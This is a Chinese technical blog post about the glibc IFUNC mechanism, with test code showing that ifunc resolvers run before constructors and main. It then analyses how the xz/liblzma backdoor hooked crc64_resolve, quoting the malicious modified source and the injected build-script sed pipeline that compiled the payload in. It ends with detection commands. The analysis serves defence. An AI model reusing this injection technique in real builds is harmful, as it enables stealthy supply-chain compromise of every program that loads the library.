标题: Unix系列(15)--IFUNC机制初探 创建: 2024-03-29 10:00 修改: 2024-04-09 08:35 链接: https://scz.617.cn/unix/202403291000.txt -------------------------------------------------------------------------- 目录: ☆ 背景介绍 ☆ 测试代码 1) some.c 2) ifunctest.c ☆ 整体流程框架 ☆ liblzma后门 2) 第一步Hook 3) IFUNC机制的作用 ☆ 参考资源 -------------------------------------------------------------------------- ☆ 背景介绍 参看 《liblzma后门疑似国家级APT》 https://scz.617.cn/unix/202403290900.txt 某些版本liblzma.so被植入后门代码,被全世界的安全人员鞭尸式分析,目前已知其 包含但不限于如下功能: Command 0x00 Unknown Command 0x01 SSH authentication bypass Command 0x02 Execute shell command Command 0x03 Execute shell command with specified UID/GID 即是说,不只是远程代码执行,也确有登录认证绕过。其后门协议涉及Ed448椭圆曲 线签名算法,相应私钥只为作恶方所掌握。故,即便有暴露在公网的后门,除了作恶 者,其他人无法利用该后门。已知相关PoC均需Patch恶意liblzma.so中Ed448公钥, 仅有研究意义。 安全人员对后门功能研究得越来越深入、细致,围观即可。相比之下,我对后门第一 步Hook如何完成更好奇些,后来ZYH、Lenny Wang分别回答了这个问题。 本文从正常程序员角度初探IFUNC机制,与liblzma后门并非强相关,但也不是无关。 ☆ 测试代码 1) some.c -------------------------------------------------------------------------- /* * gcc -fPIC -shared -Wl,-soname,libsome.so -Wl,-m,elf_x86_64 -Wall -pipe -O0 -g3 -o libsome.so some.c */ #include #include #include #include static void foo_0 ( void ) { printf( "call foo_0()\n" ); } __attribute__((used)) static void foo_1 ( void ) { printf( "call foo_1()\n" ); } __attribute__((used)) static void * foo_resolver ( void ) { printf( "call foo_resolver()\n" ); return ( void * )&foo_0; } extern void foo( void ) __attribute__((ifunc("foo_resolver"))); __attribute__((constructor)) static void some_init ( int argc, char **argv, char **envp ) { printf( "call some_init()\n" ); } -------------------------------------------------------------------------- some.c对应动态链接库libsome.so,只有名为foo的导出函数,其符号解析由 foo_resolver完成,后者返回哪个函数指针,foo就对应哪个函数,foo_resolver这 个符号并未导出。 常规导出函数是静态导出,链接时导出表已确定;IFUNC导出函数是动态导出,运行 时由"ifunc resolver"决定导出谁,填写导出表。本例foo_resolver直接返回foo_0, 实际中则是基于某种条件决定返回foo_0、foo_1中的某一个,后面会展示liblzma.so 的"ifunc resolver"实现。 "ifunc resolver"的调用时机非常早期,其被调用时环境变量尚未就位,getenv()啥 也取不到。换句话说,不要指望通过环境变量向"ifunc resolver"传递参数。 some_init与IFUNC机制无关,用于其他测试目的。 2) ifunctest.c -------------------------------------------------------------------------- /* * gcc -Wall -pipe -O0 -g3 -o ifunctest ifunctest.c -L. -lsome * * LD_LIBRARY_PATH=.:$LD_LIBRARY_PATH ./ifunctest */ #include extern void foo ( void ); int main ( int argc, char * argv[] ) { printf( "call main()\n" ); foo(); foo(); return 0; } -------------------------------------------------------------------------- ifunctest是主程序,会动态链接libsome.so,导入来自后者的foo函数,本例实际导 入foo_0。 $ LD_LIBRARY_PATH=.:$LD_LIBRARY_PATH FOO_RESOLVER=1 ./ifunctest call foo_resolver() call some_init() call main() call foo_0() call foo_0() 从printf结果看出,foo_resolver甚至比some_init还要早调用,不只是 "before main"、"before _start",更是"before .init_array"。 ☆ 整体流程框架 用GDB调试ifunctest,大概有下面这些流程: -------------------------------------------------------------------------- ld-linux.so e_entry _dl_start // 返回"normal e_entry" _dl_start_final _dl_sysdep_start dl_main // 加载LD_PRELOAD指定的so,相关符号解析已被劫持 _dl_relocate_object ELF_DYNAMIC_RELOCATE elf_dynamic_do_Rela elf_machine_rela ifunc resolver // 早于.init_array[] _dl_debug_state // "catch load libsome"命中 _dl_start_user _dl_init call_init // 调用so的.init_array[] normal e_entry // 控制权从ld-linux.so交给主程序的e_entry // jmp r12 normal main -------------------------------------------------------------------------- 一些关键节点的执行顺序: -------------------------------------------------------------------------- ld-linux.so e_entry ifunc resolver catch load .init_array[] normal e_entry normal main -------------------------------------------------------------------------- ☆ liblzma后门 2) 第一步Hook From ZYH & Lenny Wang 第一步Hook通过修改源码完成,原来的代码是: -------------------------------------------------------------------------- /* * xz-5.6.0\src\liblzma\check\crc64_fast.c */ #ifdef CRC_USE_IFUNC extern LZMA_API(uint64_t) lzma_crc64(const uint8_t *buf, size_t size, uint64_t crc) __attribute__((__ifunc__("crc64_resolve"))); static crc64_func_type crc64_resolve(void) { return is_arch_extension_supported() ? &crc64_arch_optimized : &crc64_generic; } -------------------------------------------------------------------------- liblzma.so动态导出符号lzma_crc64,加载时由crc64_resolve根据CPU情况决定该符 号对应crc64_arch_optimized、crc64_generic中的某一个。crc64_resolve本身不是 导出符号。 改过的代码是: -------------------------------------------------------------------------- static crc64_func_type crc64_resolve(void) { /* * 前面多了个下划线 */ return _is_arch_extension_supported() ? &crc64_arch_optimized : &crc64_generic; } -------------------------------------------------------------------------- #endif #if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL)) extern int _get_cpuid(int, void*, void*, void*, void*, void*); static inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; } #else #define _is_arch_extension_supported is_arch_extension_supported -------------------------------------------------------------------------- 修改源码动作在injected.txt中: -------------------------------------------------------------------------- cp .libs/liblzma_la-crc64_fast.o .libs/liblzma_la-crc64-fast.o || true V='#endif\n#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))\nextern int _get_cpuid(int, void*, void*, void*, void*, void*);\nstatic inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; }\n#else\n#define _is_arch_extension_supported is_arch_extension_supported' eval $yosA if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc64_fast.c | \ sed "/include \"crc_x86_clmul.h\"/a \\$V" | \ sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc64_fast.c\"" 2>/dev/null | \ $CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r liblzma_la-crc64-fast.o -x c - $P -o .libs/liblzma_la-crc64_fast.o 2>/dev/null; then -------------------------------------------------------------------------- 用了管道,改过的源码没有落盘,与恶意payload一起生成新的.o 3) IFUNC机制的作用 crc64_resolve是"ifunc resolver",加载liblzma.so时,会自动调用它,无需显式 调用。其调用时机非常之早,比liblzma.so可能存在的.init_array[]还要早,在 "catch load liblzma"命中之前就被调用了,这是一种超级"before _start"机制。 换句话说,只要某个ELF直接、间接依赖liblzma.so,启动该ELF时,crc64_resolve 就会得到执行机会。过去反入侵检测时会检查ELF的.init_array[],现在应该增加对 "ifunc resolver"的检查,比如: objdump -CT liblzma.so.5.6.0 | grep "g iD" nm -CD liblzma.so.5.6.0 | grep " i " readelf -W --dyn-syms --demangle liblzma.so.5.6.0 | grep -E "IFUNC GLOBAL DEFAULT" 可用IDA反汇编so,查看lzma_crc64,进而定位crc64_resolve。 ☆ 参考资源 [1] https://sourceware.org/glibc/wiki/GNU_IFUNC [2] xz/liblzma后门恶意代码注入方式分析 - Lenny Wang, UID(2045181921) [2024-04-03] https://lennysec.github.io/xz-backdoor-code-injection-analysis/ (解释第一步Hook) [3] GNU indirect function - [2021-01-18] https://maskray.me/blog/2021-01-18-gnu-indirect-function